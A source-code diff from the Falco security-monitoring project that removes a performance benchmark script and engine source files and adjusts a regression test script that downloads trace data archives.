-    (mkdir -p $TRACEDIR && rm -rf $TRACEDIR/traces-perf && curl -fo $TRACEDIR/traces-perf.zip https://s3.amazonaws.com/download.draios.com/falco-tests/traces-perf.zip && unzip -d $TRACEDIR $TRACEDIR/traces-perf.zip && rm -f $TRACEDIR/traces-perf.zip) || exit 1
-
-}
-
-function time_cmd() {
-    cmd="$1"
-    file="$2"
-
-    benchmark=`basename $file .scap`
-
-    echo -n "$benchmark: "
-    for i in `seq 1 5`; do
-	echo -n "$i "
-	time=`date --iso-8601=sec`
-	/usr/bin/time -a -o $RESULTS_FILE --format "{\"time\": \"$time\", \"benchmark\": \"$benchmark\", \"file\": \"$file\", \"variant\": \"$VARIANT\", \"elapsed\": {\"real\": %e, \"user\": %U, \"sys\": %S}}," $cmd >> $OUTPUT_FILE 2>&1
-    done
-    echo ""
-}
-
-function run_falco_on() {
-    file="$1"
-
-    cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file"
-
-    time_cmd "$cmd" "$file"
-}
-
-function run_sysdig_on() {
-    file="$1"
-
-    cmd="$ROOT/userspace/sysdig/sysdig -N -z -r $file evt.type=none"
-
-    time_cmd "$cmd" "$file"
-}
-
-function write_agent_config() {
-    cat > $ROOT/userspace/dragent/dragent.yaml <<EOF
-customerid: XXX
-app_checks_enabled: false
-log:
-  file_priority: info
-  console_priority: info
-  event_priority: info
-jmx:
-  enabled: false
-statsd:
-  enabled: false
-collector: collector-staging.sysdigcloud.com
-EOF
-
-    if [ $FALCO_AGENT == 1 ]; then
-	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
-falco_engine:
-  enabled: true
-  rules_filename: /etc/falco_rules.yaml
-  sampling_multiplier: 0
-EOF
-    else
-	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
-falco_engine:
-  enabled: false
-EOF
-    fi
-
-    if [ $AGENT_AUTODROP == 1 ]; then
-	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
-autodrop:
-  enabled: true
-EOF
-    else
-	cat >> $ROOT/userspace/dragent/dragent.yaml <<EOF
-autodrop:
-  enabled: false
-EOF
-    fi
-
-    cat $ROOT/userspace/dragent/dragent.yaml
-}
-
-function run_agent_on() {
-
-    file="$1"
-
-    write_agent_config
-
-    cmd="$ROOT/userspace/dragent/dragent -r $file"
-
-    time_cmd "$cmd" "$file"
-}
-
-function run_trace() {
-
-    if [ ! -e $TRACEDIR ]; then
-	download_trace_files
-    fi
-
-    trace_file="$1"
-
-    if [ $trace_file == "all" ]; then
-	files=($TRACEDIR/traces-perf/*.scap)
-    else
-	files=($TRACEDIR/traces-perf/$trace_file.scap)
-    fi
-
-    for file in ${files[@]}; do
-	if [[ $ROOT == *"falco"* ]]; then
-	    run_falco_on "$file"
-	elif [[ $ROOT == *"sysdig"* ]]; then
-	    run_sysdig_on "$file"
-	else
-	    run_agent_on "$file"
-	fi
-    done
-}
-
-function start_monitor_cpu_usage() {
-    echo "   monitoring cpu usage for sysdig/falco program"
-
-    setsid bash `dirname $0`/cpu_monitor.sh $SUBJ_PID $live_test $VARIANT $RESULTS_FILE $CPU_INTERVAL &
-    CPU_PID=$!
-    sleep 5
-}
-
-function start_subject_prog() {
-
-    echo "   starting falco/sysdig/agent program"
-    # Do a blocking sudo command now just to ensure we have a password
-    sudo bash -c ""
-
-    if [[ $ROOT == *"falco"* ]]; then
-	sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 &
-    elif [[ $ROOT == *"sysdig"* ]]; then
-	sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none &
-    else
-	write_agent_config
-	pushd $ROOT/userspace/dragent
-	sudo ./dragent > ./prog-output.txt 2>&1 &
-	popd
-    fi
-
-    SUDO_PID=$!
-    sleep 5
-    if [[ $ROOT == *"agent"* ]]; then
-	# The agent spawns several processes all below a main monitor
-	# process. We want the child with the lowest pid.
-	MON_PID=`ps -h -o pid --ppid $SUDO_PID`
-	SUBJ_PID=`ps -h -o pid --ppid $MON_PID | head -1`
-    else
-	SUBJ_PID=`ps -h -o pid --ppid $SUDO_PID`
-    fi
-
-    if [ -z $SUBJ_PID ]; then
-	echo "Could not find pid of subject program--did it start successfully? Not continuing."
-	exit 1
-    fi
-}
-
-function run_htop() {
-    screen -S htop-screen -d -m /usr/bin/htop -d2
-    sleep 90
-    screen -X -S htop-screen quit
-}
-
-function run_juttle_examples() {
-    pushd $SCRIPTDIR/../../juttle-engine/examples
-    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml up -d
-    sleep 120
-    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml stop
-    docker-compose -f dc-juttle-engine.yml -f aws-cloudwatch/dc-aws-cloudwatch.yml -f elastic-newstracker/dc-elastic.yml -f github-tutorial/dc-elastic.yml -f nginx_logs/dc-nginx-logs.yml -f postgres-diskstats/dc-postgres.yml -f cadvisor-influx/dc-cadvisor-influx.yml rm -fv    
-    popd
-}
-
-function run_kubernetes_demo() {
-    pushd $SCRIPTDIR/../../infrastructure/test-infrastructures/kubernetes-demo
-    bash run-local.sh
-    bash init.sh
-    sleep 600
-    docker stop $(docker ps -qa)
-    docker rm -fv $(docker ps -qa)
-    popd
-}
-
-function run_live_test() {
-
-    live_test="$1"
-
-    echo "Running live test $live_test"
-
-    case "$live_test" in
-	htop ) CPU_INTERVAL=2;;
-	* ) CPU_INTERVAL=10;;
-    esac
-
-    start_subject_prog
-    start_monitor_cpu_usage
-
-    echo "   starting live program and waiting for it to finish"
-    case "$live_test" in
-	htop ) run_htop ;;
-	juttle-examples ) run_juttle_examples ;;
-	kube-demo ) run_kubernetes_demo ;;
-	* ) usage; cleanup; exit 1 ;;
-    esac
-
-    cleanup
-
-}
-
-function cleanup() {
-
-    if [ -n "$SUBJ_PID" ] ; then
-	echo "   stopping falco/sysdig program $SUBJ_PID"
-	sudo kill $SUBJ_PID
-    fi
-
-    if [ -n "$CPU_PID" ] ; then
-	echo "   stopping cpu monitor program $CPU_PID"
-	kill -- -$CPU_PID
-    fi
-}
-
-run_live_tests() {
-    test="$1"
-
-    if [ $test == "all" ]; then
-	tests="htop juttle-examples kube-demo"
-    else
-	tests=$test
-    fi
-
-    for test in $tests; do
-	run_live_test $test
-    done
-}
-
-function run_phoronix_test() {
-
-    live_test="$1"
-
-    case "$live_test" in
-	pts/aio-stress | pts/fs-mark | pts/iozone | pts/network-loopback | pts/nginx | pts/pybench | pts/redis | pts/sqlite | pts/unpack-linux ) CPU_INTERVAL=2;;
-	* ) CPU_INTERVAL=10;;
-    esac
-
-    echo "Running phoronix test $live_test"
-
-    start_subject_prog
-    start_monitor_cpu_usage
-
-    echo "   starting phoronix test and waiting for it to finish"
-
-    TEST_RESULTS_NAME=$VARIANT FORCE_TIMES_TO_RUN=1 phoronix-test-suite default-run $live_test
-
-    cleanup
-
-}
-
-# To install and configure phoronix:
-#  (redhat instructions, adapt as necessary for ubuntu or other distros)
-#   - install phoronix: yum install phoronix-test-suite.noarch
-#   - install dependencies not handled by phoronix: yum install libaio-devel pcre-devel popt-devel glibc-static zlib-devel nc bc
-#   - fix trivial bugs in tests:
-#      - edit ~/.phoronix-test-suite/installed-tests/pts/network-loopback-1.0.1/network-loopback line "nc -d -l 9999 > /dev/null &" to "nc -d -l 9999 > /dev/null &"
-#      - edit ~/.phoronix-test-suite/test-profiles/pts/nginx-1.1.0/test-definition.xml line "<Arguments>-n 500000 -c 100 http://localhost:8088/test.html</Arguments>" to "<Arguments>-n 500000 -c 100 http://127.0.0.1:8088/test.html</Arguments>"
-#   - phoronix batch-install <test list below>
-
-function run_phoronix_tests() {
-
-    test="$1"
-
-    if [ $test == "all" ]; then
-	tests="pts/aio-stress pts/apache pts/blogbench pts/compilebench pts/dbench pts/fio pts/fs-mark pts/iozone pts/network-loopback pts/nginx pts/pgbench pts/phpbench pts/postmark pts/pybench pts/redis pts/sqlite pts/unpack-linux"
-    else
-	tests=$test
-    fi
-
-    for test in $tests; do
-	run_phoronix_test $test
-    done
-}
-
-run_tests() {
-
-    IFS=':' read -ra PARTS <<< "$TEST"
-
-    case "${PARTS[0]}" in
-	trace ) run_trace "${PARTS[1]}" ;;
-	live ) run_live_tests "${PARTS[1]}" ;;
-	phoronix ) run_phoronix_tests "${PARTS[1]}" ;;
-	* ) usage; exit 1 ;;
-    esac
-}
-
-usage() {
-    echo "Usage: $0 [options]"
-    echo ""
-    echo "Options:"
-    echo "   -h/--help: show this help"
-    echo "   -v/--variant: a variant name to attach to this set of test results"
-    echo "   -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
-    echo "   -R/--results: append test results to this file"
-    echo "   -o/--output: append program output to this file"
-    echo "   -t/--test: test to run. Argument has the following format:"
-    echo "       trace:<trace>: read the specified trace file."
-    echo "            trace:all means run all traces"
-    echo "       live:<live test>: run the specified live test."
-    echo "            live:all means run all live tests."
-    echo "            possible live tests:"
-    echo "                live:htop: run htop -d2"
-    echo "                live:kube-demo: run kubernetes demo from infrastructure repo"
-    echo "                live:juttle-examples: run a juttle demo environment based on docker-compose"
-    echo "       phoronix:<test>: run the specified phoronix test."
-    echo "            if <test> is not 'all', it is passed directly to the command line of \"phoronix-test-suite run <test>\""
-    echo "            if <test> is 'all', a built-in set of phoronix tests will be chosen and run"
-    echo "   -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
-    echo "   -A/--agent-autodrop: When running an agent, whether or not to enable autodrop"
-    echo "   -F/--falco-agent: When running an agent, whether or not to enable falco"
-}
-
-OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
-
-if [ $? != 0 ]; then
-    echo "Exiting" >&2
-    exit 1
-fi
-
-eval set -- "$OPTS"
-
-VARIANT="falco"
-ROOT=`dirname $0`/../build
-SCRIPTDIR=`dirname $0`
-RESULTS_FILE=`dirname $0`/results.json
-OUTPUT_FILE=`dirname $0`/program-output.txt
-TEST=trace:all
-TRACEDIR=/tmp/falco-perf-traces.$USER
-CPU_INTERVAL=10
-AGENT_AUTODROP=1
-FALCO_AGENT=1
-
-while true; do
-    case "$1" in
-	-h | --help ) usage; exit 1;;
-	-v | --variant ) VARIANT="$2"; shift 2;;
-	-r | --root ) ROOT="$2"; shift 2;;
-	-R | --results ) RESULTS_FILE="$2"; shift 2;;
-	-o | --output ) OUTPUT_FILE="$2"; shift 2;;
-	-t | --test ) TEST="$2"; shift 2;;
-	-T | --tracedir ) TRACEDIR="$2"; shift 2;;
-	-A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
-	-F | --falco-agent ) FALCO_AGENT="$2"; shift 2;;
-	* ) break;;
-    esac
-done
-
-if [ -z $VARIANT ]; then
-    echo "A test variant name must be provided. Not continuing."
-    exit 1
-fi
-
-if [ -z $ROOT ]; then
-    echo "A root directory containing a falco/sysdig binary must be provided. Not continuing."
-    exit 1
-fi
-
-ROOT=`realpath $ROOT`
-
-
-if [ -z $RESULTS_FILE ]; then
-    echo "An output file for test results must be provided. Not continuing."
-    exit 1
-fi
-
-if [ -z $OUTPUT_FILE ]; then
-    echo "An file for program output must be provided. Not continuing."
-    exit 1
-fi
-
-if [ -z $TEST ]; then
-    echo "A test must be provided. Not continuing."
-    exit 1
-fi
-
-run_tests

test/run_regression_tests.sh

@@ -3,13 +3,11 @@
 SCRIPT=$(readlink -f $0)
 SCRIPTDIR=$(dirname $SCRIPT)
 MULT_FILE=$SCRIPTDIR/falco_tests.yaml
-BRANCH=$1
 
 function download_trace_files() {
-    echo "branch=$BRANCH"
     for TRACE in traces-positive traces-negative traces-info ; do
 	rm -rf $SCRIPTDIR/$TRACE
-	curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE-$BRANCH.zip || curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
+	curl -so $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
 	unzip -d $SCRIPTDIR $SCRIPTDIR/$TRACE.zip &&
 	rm -rf $SCRIPTDIR/$TRACE.zip
     done
@@ -36,22 +34,20 @@ EOF
 }
 
 function prepare_multiplex_file() {
-    cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE
+    echo "trace_files: !mux" > $MULT_FILE
 
-    prepare_multiplex_fileset traces-positive True WARNING False
-    prepare_multiplex_fileset traces-negative False WARNING True
-    prepare_multiplex_fileset traces-info True INFO False
+    prepare_multiplex_fileset traces-positive True Warning False
+    prepare_multiplex_fileset traces-negative False Warning True
+    prepare_multiplex_fileset traces-info True Informational False
 
-    prepare_multiplex_fileset traces-positive True WARNING True
-    prepare_multiplex_fileset traces-info True INFO True
+    prepare_multiplex_fileset traces-positive True Warning True
+    prepare_multiplex_fileset traces-info True Informational True
 
     echo "Contents of $MULT_FILE:"
     cat $MULT_FILE
 }
 
 function run_tests() {
-    rm -rf /tmp/falco_outputs
-    mkdir /tmp/falco_outputs
     CMD="avocado run --multiplex $MULT_FILE --job-results-dir $SCRIPTDIR/job-results -- $SCRIPTDIR/falco_test.py"
     echo "Running: $CMD"
     $CMD

userspace/engine/CMakeLists.txt

@@ -1,31 +0,0 @@
-include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp/third-party/jsoncpp")
-include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap")
-include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp")
-include_directories("${PROJECT_BINARY_DIR}/userspace/engine")
-include_directories("${LUAJIT_INCLUDE}")
-
-add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp)
-
-target_include_directories(falco_engine PUBLIC
-  "${LUAJIT_INCLUDE}")
-
-target_link_libraries(falco_engine
-  "${FALCO_SINSP_LIBRARY}"
-  "${LPEG_LIB}"
-  "${LYAML_LIB}"
-  "${LIBYAML_LIB}")
-
-configure_file(config_falco_engine.h.in config_falco_engine.h)
-
-if(DEFINED FALCO_COMPONENT)
-install(DIRECTORY lua
-	DESTINATION "${FALCO_SHARE_DIR}"
-	COMPONENT "${FALCO_COMPONENT}"
-	FILES_MATCHING PATTERN *.lua)
-else()
-install(DIRECTORY lua
-	DESTINATION "${FALCO_SHARE_DIR}"
-	FILES_MATCHING PATTERN *.lua)
-endif()
-
-add_subdirectory("${PROJECT_SOURCE_DIR}/../falco/rules" "${PROJECT_BINARY_DIR}/rules")

userspace/engine/config_falco_engine.h.in

@@ -1,22 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#pragma once
-
-#define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/"
-#define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/"

userspace/engine/falco_common.cpp

@@ -1,108 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include <fstream>
-
-#include "config_falco_engine.h"
-#include "falco_common.h"
-
-falco_common::falco_common()
-{
-	m_ls = lua_open();
-	luaL_openlibs(m_ls);
-}
-
-falco_common::~falco_common()
-{
-	if(m_ls)
-	{
-		lua_close(m_ls);
-	}
-}
-
-void falco_common::set_inspector(sinsp *inspector)
-{
-	m_inspector = inspector;
-}
-
-void falco_common::init(const char *lua_main_filename, const char *source_dir)
-{
-	ifstream is;
-	string lua_dir = FALCO_ENGINE_LUA_DIR;
-	string lua_main_path = lua_dir + lua_main_filename;
-
-	is.open(lua_main_path);
-	if (!is.is_open())
-	{
-		lua_dir = source_dir;
-		lua_main_path = lua_dir + lua_main_filename;
-
-		is.open(lua_main_path);
-		if (!is.is_open())
-		{
-			throw falco_exception("Could not find Falco Lua entrypoint (tried " +
-					      string(FALCO_ENGINE_LUA_DIR) + lua_main_filename + ", " +
-					      string(source_dir) + lua_main_filename + ")");
-		}
-	}
-
-	// Initialize Lua interpreter
-	add_lua_path(lua_dir);
-
-	// Load the main program, which defines all the available functions.
-	string scriptstr((istreambuf_iterator<char>(is)),
-			 istreambuf_iterator<char>());
-
-	if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0))
-	{
-		throw falco_exception("Failed to load script " +
-			lua_main_path + ": " + lua_tostring(m_ls, -1));
-	}
-}
-
-void falco_common::add_lua_path(string &path)
-{
-	string cpath = string(path);
-	path += "?.lua";
-	cpath += "?.so";
-
-	lua_getglobal(m_ls, "package");
-
-	lua_getfield(m_ls, -1, "path");
-	string cur_path = lua_tostring(m_ls, -1 );
-	cur_path += ';';
-	lua_pop(m_ls, 1);
-
-	cur_path.append(path.c_str());
-
-	lua_pushstring(m_ls, cur_path.c_str());
-	lua_setfield(m_ls, -2, "path");
-
-	lua_getfield(m_ls, -1, "cpath");
-	string cur_cpath = lua_tostring(m_ls, -1 );
-	cur_cpath += ';';
-	lua_pop(m_ls, 1);
-
-	cur_cpath.append(cpath.c_str());
-
-	lua_pushstring(m_ls, cur_cpath.c_str());
-	lua_setfield(m_ls, -2, "cpath");
-
-	lua_pop(m_ls, 1);
-}
-

userspace/engine/falco_common.h

@@ -1,87 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#pragma once
-
-#include <string>
-#include <exception>
-
-extern "C" {
-#include "lua.h"
-#include "lualib.h"
-#include "lauxlib.h"
-}
-
-#include <sinsp.h>
-
-//
-// Most falco_* classes can throw exceptions. Unless directly related
-// to low-level failures like inability to open file, etc, they will
-// be of this type.
-//
-
-struct falco_exception : std::exception
-{
-	falco_exception()
-	{
-	}
-
-	virtual ~falco_exception() throw()
-	{
-	}
-
-	falco_exception(std::string error_str)
-	{
-		m_error_str = error_str;
-	}
-
-	char const* what() const throw()
-	{
-		return m_error_str.c_str();
-	}
-
-	std::string m_error_str;
-};
-
-//
-// This is the base class of falco_engine/falco_output. It is
-// responsible for managing a lua state and associated inspector and
-// loading a single "main" lua file into that state.
-//
-
-class falco_common
-{
-public:
-	falco_common();
-	virtual ~falco_common();
-
-	void init(const char *lua_main_filename, const char *source_dir);
-
-	void set_inspector(sinsp *inspector);
-
-protected:
-	lua_State *m_ls;
-
-	sinsp *m_inspector;
-
-private:
-	void add_lua_path(std::string &path);
-};
-
-
-

userspace/engine/falco_engine.cpp

@@ -1,201 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include <cstdlib>
-#include <unistd.h>
-#include <string>
-#include <fstream>
-
-#include "falco_engine.h"
-#include "config_falco_engine.h"
-
-extern "C" {
-#include "lpeg.h"
-#include "lyaml.h"
-}
-
-#include "utils.h"
-
-
-string lua_on_event = "on_event";
-string lua_print_stats = "print_stats";
-
-using namespace std;
-
-falco_engine::falco_engine(bool seed_rng)
-	: m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0)
-{
-	luaopen_lpeg(m_ls);
-	luaopen_yaml(m_ls);
-
-	falco_common::init(m_lua_main_filename.c_str(), FALCO_ENGINE_SOURCE_LUA_DIR);
-	falco_rules::init(m_ls);
-
-	if(seed_rng)
-	{
-		srandom((unsigned) getpid());
-	}
-}
-
-falco_engine::~falco_engine()
-{
-	if (m_rules)
-	{
-		delete m_rules;
-	}
-}
-
-void falco_engine::load_rules(const string &rules_content, bool verbose, bool all_events)
-{
-	// The engine must have been given an inspector by now.
-	if(! m_inspector)
-	{
-		throw falco_exception("No inspector provided");
-	}
-
-	if(!m_rules)
-	{
-		m_rules = new falco_rules(m_inspector, this, m_ls);
-	}
-	m_rules->load_rules(rules_content, verbose, all_events);
-}
-
-void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events)
-{
-	ifstream is;
-
-	is.open(rules_filename);
-	if (!is.is_open())
-	{
-		throw falco_exception("Could not open rules filename " +
-				      rules_filename + " " +
-				      "for reading");
-	}
-
-	string rules_content((istreambuf_iterator<char>(is)),
-			     istreambuf_iterator<char>());
-
-	load_rules(rules_content, verbose, all_events);
-}
-
-void falco_engine::enable_rule(string &pattern, bool enabled)
-{
-	m_evttype_filter.enable(pattern, enabled);
-}
-
-falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev)
-{
-
-	if(should_drop_evt())
-	{
-		return NULL;
-	}
-
-	if(!m_evttype_filter.run(ev))
-	{
-		return NULL;
-	}
-
-	struct rule_result *res = new rule_result();
-
-	lua_getglobal(m_ls, lua_on_event.c_str());
-
-	if(lua_isfunction(m_ls, -1))
-	{
-		lua_pushlightuserdata(m_ls, ev);
-		lua_pushnumber(m_ls, ev->get_check_id());
-
-		if(lua_pcall(m_ls, 2, 3, 0) != 0)
-		{
-			const char* lerr = lua_tostring(m_ls, -1);
-			string err = "Error invoking function output: " + string(lerr);
-			throw falco_exception(err);
-		}
-		res->evt = ev;
-		const char *p =  lua_tostring(m_ls, -3);
-		res->rule = p;
-		res->priority = lua_tostring(m_ls, -2);
-		res->format = lua_tostring(m_ls, -1);
-		lua_pop(m_ls, 3);
-	}
-	else
-	{
-		throw falco_exception("No function " + lua_on_event + " found in lua compiler module");
-	}
-
-	return res;
-}
-
-void falco_engine::describe_rule(string *rule)
-{
-	return m_rules->describe_rule(rule);
-}
-
-// Print statistics on the the rules that triggered
-void falco_engine::print_stats()
-{
-	lua_getglobal(m_ls, lua_print_stats.c_str());
-
-	if(lua_isfunction(m_ls, -1))
-	{
-		if(lua_pcall(m_ls, 0, 0, 0) != 0)
-		{
-			const char* lerr = lua_tostring(m_ls, -1);
-			string err = "Error invoking function print_stats: " + string(lerr);
-			throw falco_exception(err);
-		}
-	}
-	else
-	{
-		throw falco_exception("No function " + lua_print_stats + " found in lua rule loader module");
-	}
-
-}
-
-void falco_engine::add_evttype_filter(string &rule,
-				      list<uint32_t> &evttypes,
-				      sinsp_filter* filter)
-{
-	m_evttype_filter.add(rule, evttypes, filter);
-}
-
-void falco_engine::set_sampling_ratio(uint32_t sampling_ratio)
-{
-	m_sampling_ratio = sampling_ratio;
-}
-
-void falco_engine::set_sampling_multiplier(double sampling_multiplier)
-{
-	m_sampling_multiplier = sampling_multiplier;
-}
-
-inline bool falco_engine::should_drop_evt()
-{
-	if(m_sampling_multiplier == 0)
-	{
-		return false;
-	}
-
-	if(m_sampling_ratio == 1)
-	{
-		return false;
-	}
-
-	double coin = (random() * (1.0/RAND_MAX));
-	return (coin >= (1.0/(m_sampling_multiplier * m_sampling_ratio)));
-}

userspace/engine/falco_engine.h

@@ -1,136 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#pragma once
-
-#include <string>
-
-#include "sinsp.h"
-#include "filter.h"
-
-#include "rules.h"
-
-#include "falco_common.h"
-
-//
-// This class acts as the primary interface between a program and the
-// falco rules engine. Falco outputs (writing to files/syslog/etc) are
-// handled in a separate class falco_outputs.
-//
-
-class falco_engine : public falco_common
-{
-public:
-	falco_engine(bool seed_rng=true);
-	virtual ~falco_engine();
-
-	//
-	// Load rules either directly or from a filename.
-	//
-	void load_rules_file(const std::string &rules_filename, bool verbose, bool all_events);
-	void load_rules(const std::string &rules_content, bool verbose, bool all_events);
-
-	//
-	// Enable/Disable any rules matching the provided pattern (regex).
-	//
-	void enable_rule(std::string &pattern, bool enabled);
-
-	struct rule_result {
-		sinsp_evt *evt;
-		std::string rule;
-		std::string priority;
-		std::string format;
-	};
-
-	//
-	// Given an event, check it against the set of rules in the
-	// engine and if a matching rule is found, return details on
-	// the rule that matched. If no rule matched, returns NULL.
-	//
-	// the reutrned rule_result is allocated and must be delete()d.
-	rule_result *process_event(sinsp_evt *ev);
-
-	//
-	// Print details on the given rule. If rule is NULL, print
-	// details on all rules.
-	//
-	void describe_rule(std::string *rule);
-
-	//
-	// Print statistics on how many events matched each rule.
-	//
-	void print_stats();
-
-	//
-	// Add a filter, which is related to the specified list of
-	// event types, to the engine.
-	//
-	void add_evttype_filter(std::string &rule,
-				list<uint32_t> &evttypes,
-				sinsp_filter* filter);
-
-	//
-	// Set the sampling ratio, which can affect which events are
-	// matched against the set of rules.
-	//
-	void set_sampling_ratio(uint32_t sampling_ratio);
-
-	//
-	// Set the sampling ratio multiplier, which can affect which
-	// events are matched against the set of rules.
-	//
-	void set_sampling_multiplier(double sampling_multiplier);
-
-private:
-
-	//
-	// Determine whether the given event should be matched at all
-	// against the set of rules, given the current sampling
-	// ratio/multiplier.
-	//
-	inline bool should_drop_evt();
-
-	falco_rules *m_rules;
-        sinsp_evttype_filter m_evttype_filter;
-
-	//
-	// Here's how the sampling ratio and multiplier influence
-	// whether or not an event is dropped in
-	// should_drop_evt(). The intent is that m_sampling_ratio is
-	// generally changing external to the engine e.g. in the main
-	// inspector class based on how busy the inspector is. A
-	// sampling ratio implies no dropping. Values > 1 imply
-	// increasing levels of dropping. External to the engine, the
-	// sampling ratio results in events being dropped at the
-	// kernel/inspector interface.
-	//
-	// The sampling multiplier is an amplification to the sampling
-	// factor in m_sampling_ratio. If 0, no additional events are
-	// dropped other than those that might be dropped by the
-	// kernel/inspector interface. If 1, events that make it past
-	// the kernel module are subject to an additional level of
-	// dropping at the falco engine, scaling with the sampling
-	// ratio in m_sampling_ratio.
-	//
-
-	uint32_t m_sampling_ratio;
-	double m_sampling_multiplier;
-
-	std::string m_lua_main_filename = "rule_loader.lua";
-};
-

userspace/engine/lua/compiler.lua

@@ -1,344 +0,0 @@
---
--- Copyright (C) 2016 Draios inc.
---
--- This file is part of falco.
---
--- falco is free software; you can redistribute it and/or modify
--- it under the terms of the GNU General Public License version 2 as
--- published by the Free Software Foundation.
---
--- falco is distributed in the hope that it will be useful,
--- but WITHOUT ANY WARRANTY; without even the implied warranty of
--- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--- GNU General Public License for more details.
---
--- You should have received a copy of the GNU General Public License
--- along with falco.  If not, see <http://www.gnu.org/licenses/>.
-
-local parser = require("parser")
-local compiler = {}
-
-compiler.verbose = false
-compiler.all_events = false
-
-function compiler.set_verbose(verbose)
-   compiler.verbose = verbose
-   parser.set_verbose(verbose)
-end
-
-function compiler.set_all_events(all_events)
-   compiler.all_events = all_events
-end
-
-function map(f, arr)
-   local res = {}
-   for i,v in ipairs(arr) do
-      res[i] = f(v)
-   end
-   return res
-end
-
-function foldr(f, acc, arr)
-   for i,v in pairs(arr) do
-      acc = f(acc, v)
-   end
-   return acc
-end
-
---[[
-
-   Given a map of macro definitions, traverse AST and replace macro references
-   with their definitions.
-
-   The AST is changed in-place.
-
-   The return value is a boolean which is true if any macro was
-   substitued. This allows a caller to re-traverse until no more macros are
-   found, a simple strategy for recursive resoltuions (e.g. when a macro
-   definition uses another macro).
-
---]]
-function expand_macros(ast, defs, changed)
-
-   function copy(obj)
-      if type(obj) ~= 'table' then return obj end
-      local res = {}
-      for k, v in pairs(obj) do res[copy(k)] = copy(v) end
-      return res
